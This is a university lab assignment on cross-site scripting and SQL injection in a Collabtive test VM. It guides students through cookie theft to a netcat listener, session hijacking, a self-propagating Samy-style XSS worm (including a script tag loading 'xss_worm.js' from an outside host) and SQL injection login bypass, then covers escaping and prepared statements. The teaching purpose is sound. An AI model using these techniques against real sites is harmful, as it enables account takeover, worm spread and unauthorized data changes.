CS 577 Cybersecurity Lab

Lab 6 – due 10/29/15 23:59pm

Subject: Cross-Site Scripting (XSS) and SQL Injection Attacks

This assignment will familiarize you with Cross-Site Scripting (XSS) and SQL Injection Attacks. To demonstrate what attackers can do by exploiting XSS vulnerabilities and performing SQL-Injection attacks.

Lab Virtual Machine (VM)

You will perform the lab on a web-based project management software named `Collabtive`. You can download a virtual machine image containing a 32-bit `UbuntuLinux` (v12.04) including `Collabtive` from the following locations: `http://128.230.208.57/SEEDUbuntu12.04.zip` or `http://venus.syr.edu/seed/SEEDUbuntu12.04.zip`.

In this lab, three applications will be used, which are already installed on the VM: (1) the Firefox web browser, (2) the Apache web server, and (3) the `Collabtive` project management web application. Firefox also includes the `LiveHTTPHeaders` extension which can be used to inspect the HTTP requests and responses sent/received by the browser.

You can login to the VM using the following credentials:

```
User ID: seed
Password: dees
```

`Collabtive` is a web-based project management system which has already been installed on the VM. It already contains several user accounts, which you can access after first logging in as the administrator in the platform with the following credentials:

```
username: admin
password: admin
```

You can access the following Web applications/services from within the VM using the Firefox browser:

URL	Description	Directory
`http://www.xsslabcollabtive.com`	XSS Lab	`/var/www/XSS/Collabtive/`
`http://www.sqllabcollabtive.com`	SQL Lab	`/var/www/SQL/Collabtive/`

NOTE: These domains are only accessible from within the VM.

1 Cookies (20 pts)

1.1 Stealing the User's Cookie

In this task, you need to inject JavaScript code in a page in `Collabtive`, so that when a user visits the page, his cookie is exfiltrated to you. To achieve this, you need to find a field where JavaScript can be injected to place the cookie, which can obtained through `document.cookie`, into an HTTP request to your server. You can do this by having the malicious JavaScript insert an image into the currently viewed page using the `document.write()` method. The URL in the `src` field of the image will result in an HTTP request being sent. You can insert the cookie of the user as GET parameter in the request and point

the URL to your server's IP. A server should listen for requests to obtain the cookie. You can use `netcat`, which is already installed on the linux lab (`man netcat`), to listen for connections and print the received data.

Hints

Example 1: JS script will present a pop-up with the user cookie appropriately escaped so it can be included as a GET parameter

```
<script>alert(escape(document.cookie));</script>
```

Example 2: Write an image tag into the current document

```
<script>document.write('<img
src=http://www.stevens.edu/sit/sites/sit/themes/sit_default/logo.png>');
</script>
```

Example 3: A URL including a query string with one GET variable, named `q`:

```
http://lmgtfy.com/?q=URL+query+string
```

1.2 Session Hijacking

After stealing the user's cookie, you can hijack his session. You can use the hijacked session to create a new project, delete user posts, make new posts, and anything else the real user is allowed to do without resupplying his/her password. In this task, you will launch a session hijacking attack that creates a new project. You will need to create a program that given a "stolen" cookie and a target domain, it will send a request to create the project.

Your first step, should be to look at the request that when sent to `Collabtive` it will result in creating a new project for the logged in user. `LiveHTTPHeaders` extension can help you with this by displaying the contents of any HTTP request message sent from the browser in the VM. We assume that the attacker has a legitimate account on the service, so he can experiment in the same way to learn what needs to be sent to the server.

Once, you have understood what the HTTP request for project creation looks like, you can write a program to send the same request using the cookies you hijack. You can use C/C++, Java, Python, or even JavaScript to create this program (you can even execute JS from the command line on linux lab using the `js` program).

Hint

Example: Preparing and sending an HTTP request using AJAX and JavaScript.

```
var Ajax=null;

// Construct the header information for the HTTP request
Ajax=new XMLHttpRequest();
Ajax.open("GET", "http://www.xsslabcollabtive.com/",true);
Ajax.setRequestHeader("Host", "www.xsslabcollabtive.com");
Ajax.setRequestHeader("Cookie", "ASDADFG345346DFDF");

// Send the HTTP GET request without any content.
Ajax.send();
```

2 XSS Worm (40 pts)

In this part, youwill perform an attack similar to what Samy did to MySpace in 2005 (i.e., the Samy Worm). The scenario goes as follows. One of the users of a project is malicious and injects the worm in his profile. The other users in the project may visit the user's profile and, upon doing so, their profile also becomes infected.

Part 1 The first step is essentially to replicate the first attack in one self-contained JavaScript script. Using AJAX and JavaScript will do the trick. This time, instead of creating a new project, inject a script in the page that updates the URL field in the user's profile with the course's URL.

Part 2 The second step involves including your work in the user profile you are infecting. Essentially, instead of manually inserting the code as you did in part 1, now you need to include the JS code with the profile update data. If successful, your worm may propagate to all users of this `Collabtive` installation.

Hints

Getting the user name. To modify the victim's profile, the HTTP requests sent from the worm should contain the victim's name, so the worm needs to find out this information. The name is actually displayed in the web page, but it is fetched using JavaScript code. We can use the same code to get the name.

It is required because of the UNIQUE constraint on field "name" in collabtive's database table. If a static username is used in the malicious JavaScript, this attack can only succeed once. After that, because of the UNIQUE constraint, the request will be rejected by the server. To solve this, `Collabtive` uses the `PeriodicalUpdate` function to update the online user information. An example using `PeriodicalUpdate` is given below. This code displays the reply from the server, and the name of the current user is contained in the reply. In order to retrieve the name from the reply, you may need to learn some string operations in JavaScript. You should study this cited tutorial [**?**].

```
<script>var on=new Ajax.PeriodicalUpdater("onlinelist",
"manageuser.php?action=onlinelist",
{method:'get',onSuccess:function(transport){alert(transport.responseText);},
frequence:1000})</script>
```

Be careful when dealing with an infected profile. Sometimes, a profile is already infected by the XSS worm, you may want to leave them alone, instead of modifying them again. If you are not careful, you may end up removing the XSS worm from the profile.

Worm self-propagation The worm should copy itself to the victim's profile. There are several approaches to achieve this, and we will discuss two common approaches:

- If the entire JavaScript program (i.e., the worm) is embedded in the infected profile, to propagate the worm to another profile, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and display it in an alert window:

```
<script id=worm>
var strCode = document.getElementById("worm");
alert(strCode.innerHTML);
</script>
```

- If the worm is included using the `src` attribute in the `<script>` tag, writing self-propagating worms is much easier. We have discussed the `src` attribute in Task 1, and an example is giving below. The worm can simply copy the following `<script>` tag to the victim's profile, essentially infecting the profile with the same worm.

```
<script type='text\javascript' src='http://example.com/xss_worm.js'>
</script>
```

Guideline: URL Encoding. All messages transmitted using HTTP over the Internet use URL Encoding, which converts all non-ASCII characters such as space to special code under the URL encoding scheme. In the worm code, messages sent to `Collabtive` should be encoded using URL encoding. The `escape` function can be used to URL encode a string. An example of using the encode function is given below.

```
<script>
var strSample = "Hello World";
var urlEncSample = escape(strSample);
alert(urlEncSample);
</script>
```

Under the URL encoding scheme the "+" symbol is used to denote space. In JavaScript programs, "+" is used for both arithmetic operations and string operations. To avoid this ambiguity, you may user the `concat` function for string concatenation, and avoid using addition. For the worm code in the exercise, you don't have to use additions. If you do have to add a number (e.g., a + 5), you can use subtraction (e.g a-(-5)).

3 SQL Injections (40 pts)

3.1 Disabling SQL injection Prevention

The services on hosted on the VM are based on PHP, which provides a mechanism to automatically defend against some types of SQL-injection attacks. The mechanism is called magic quote, and more details will be introduced in Task 3. Let us turn off this protection first (this protection method is deprecated after PHP version 5.3.0).

1. Go to `/etc/php5/apache2/php.ini`.
2. Find the line: `magic_quotes_gpc = On`.
3. Change it to this: `magic_quotes_gpc = Off`.
4. Restart the Apache server by running "`sudo service apache2 restart`".

3.2 SQL Injection Attack on `SELECT` Statements

In this task, you need to manage to log into `Collabtive` at `www.sqllabcollabtive.com`, without providing a password. You can achieve this using SQL injections. Normally, before users start using `Collabtive`, they need to login using their user names and passwords. `Collabtive` displays a login window to users and ask them to input `username` and `password`. The login window is displayed in the following:

The authentication is implemented by `include/class.user.php` in the Collabtive root directory (i.e., `/var/www/SQL/Collabtive/`). It uses the user-provided data to find out whether they match with the `username` and `user_password` fields of any record in the database. If there is a match, it means the user has provided a correct username and password combination, and should be allowed to login. Like most web applications, PHP programs interact with their back-end databases using the standard SQL language. In `Collabtive`, the following SQL query is constructed in `class.user.php` to authenticate users:

```
$sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender,
   FROM  USERS_TABLE
   WHERE (name = '$user' OR email = '$user') AND pass = '$pass'");

$chk = mysql_fetch_array($sel1);

if (found one record)
then {allow the user to login}
```

In the above SQL statement, the `USERS_TABLE` is a macro in PHP, and will be replaced by the users table named `user`. The variable `$user` holds the string typed in the `Username` textbox, and `$pass` holds the string typed in the `Password` textbox. User's inputs in these two textboxs are placed directly in the SQL query string.

There is a SQL-injection vulnerability in the above query. Can you take advantage of this vulnerability to achieve the following objectives?

- Can you log into another person's account without knowing the correct password?
- Can you find a way to modify the database (still using the above SQL query)? For example, can you add a new account to the database, or delete an existing user account? Obviously, the above SQL statement is a query-only statement, and cannot update the database. However, using SQL injection, you can turn the above statement into two statements, with the second one being the update statement. Please try this method, and see whether you can successfully update the database.

  To be honest, we are unable to achieve the update goal. This is because of a particular defense mechanism implemented in MySQL. In the report, you should show us what you have tried in order to modify the database. You should find out why the attack fails, what mechanism in MySQL has prevented such an attack. You may look up evidences (second-hand) from the Internet to support your conclusion. However, a first-hand evidence will get more points (use your own creativity to find out first-hand evidences). If in case you find ways to succeed in the attacks, you will be awarded bonus points.

3.3 SQL Injection on `UPDATE` Statements

In this task, you need to make an unauthorized modification to the database. Your goal is to modify another user's profile using SQL injections. In `Collabtive`, if users want to update their profiles, they can go to `My account`, click the `Edit` link, and then fill out a form to update the profile information. After the user sends the update request to the server, an `UPDATE` SQL statement will be constructed in `include/class.user.php`. The objective of this statement is to modify the current user's profile information in the `users` table. There is a SQL injection vulnerability in this SQL statement. Please find the vulnerability, and then use it to do the following:

- Change another user's profile without knowing his/her password. For example, if you are logged in as Alice, your goal is to use the vulnerability to modify Ted's profile information, including Ted's password. After the attack, you should be able to log into Ted's account.

3.4 Countermeasures

The fundamental problem of SQL injection vulnerability is the failure of separating code from data. When constructing a SQL statement, the program (e.g. PHP program) knows what part is data and what part is code. Unfortunately, when the SQL statement is sent to the database, the boundary has disappeared; the boundaries that the SQL interpreter sees may be different from the original boundaries, if code are injected into the data field. To solve this problem, it is important to ensure that the view of the boundaries are consistent in the server-side code and in the database. There are various ways to achieve this: this objective.

- **Escaping Special Characters using** `mysql_real_escape_string`. A better way to escape data to defend against SQL injection is to use database specific escaping mechanisms, instead of relying upon features like magical quotes. MySQL provides an escaping mechanism, through the above function, which prepends backslashes to a few special characters, including `\x00, \n, \r, \, ', "` and `\x1A`. Please use this function to fix the SQL injection vulnerabilities identified in the previous tasks. You should disable the other protection schemes described in the previous tasks before working on this task.

- **Prepare Statement.** A more general solution to separating data from SQL logic is to tell the database exactly which part is the data part and which part is the logic part. MySQL provides the prepare statement mechanism for this purpose.

```
$db = new mysqli("localhost", "user", "pass", "db");
$stmt = $db->prepare("SELECT ID, name, locale, lastlogin FROM users
WHERE name=? AND age=?");
$stmt->bind_param("si", $user, $age);
$stmt->execute();

//The following two functions are only useful for SELECT statements
$stmt->bind_result($bind_ID, $bind_name, $bind_locale, $bind_lastlogin);
$chk=$stmt->fetch();
```

  Parameters for the `new mysqli()` function can be found in `/config/standard/config.php`. Using the prepare statement mechanism, we divide the process of sending a SQL statement to the database into two steps. The first step is to send the code, i.e., the SQL statement without the data that need to be plugged in later. This is the prepare step. After this step, we then send the data to the database using `bind_param()`. The database will treat everything sent in this step only as data, not as code anymore. If it's a `SELECT` statement, we need to bind variables to a prepared statement for result storage, and then fetch the results into the bound variables.

  Please use the prepare statement mechanism to fix the SQL injection vulnerability in the `Collabtive` code. In the `bind_param` function, the first argument `"si"` means that the first parameter (`$user`) has a string type, and the second parameter (`$age`) has an integer type.

4 Submission

You need to submit a detailed lab report through canvas to describe what you have done and your observations (e.g., challenges and insights for accomplishing the attacks). Include any code you wrote to complete the lab in appropriate files (e.g., worm.js). Provide details using `LiveHTTPHeaders`, `Wireshark` if you are familiar with it, and/or screenshots.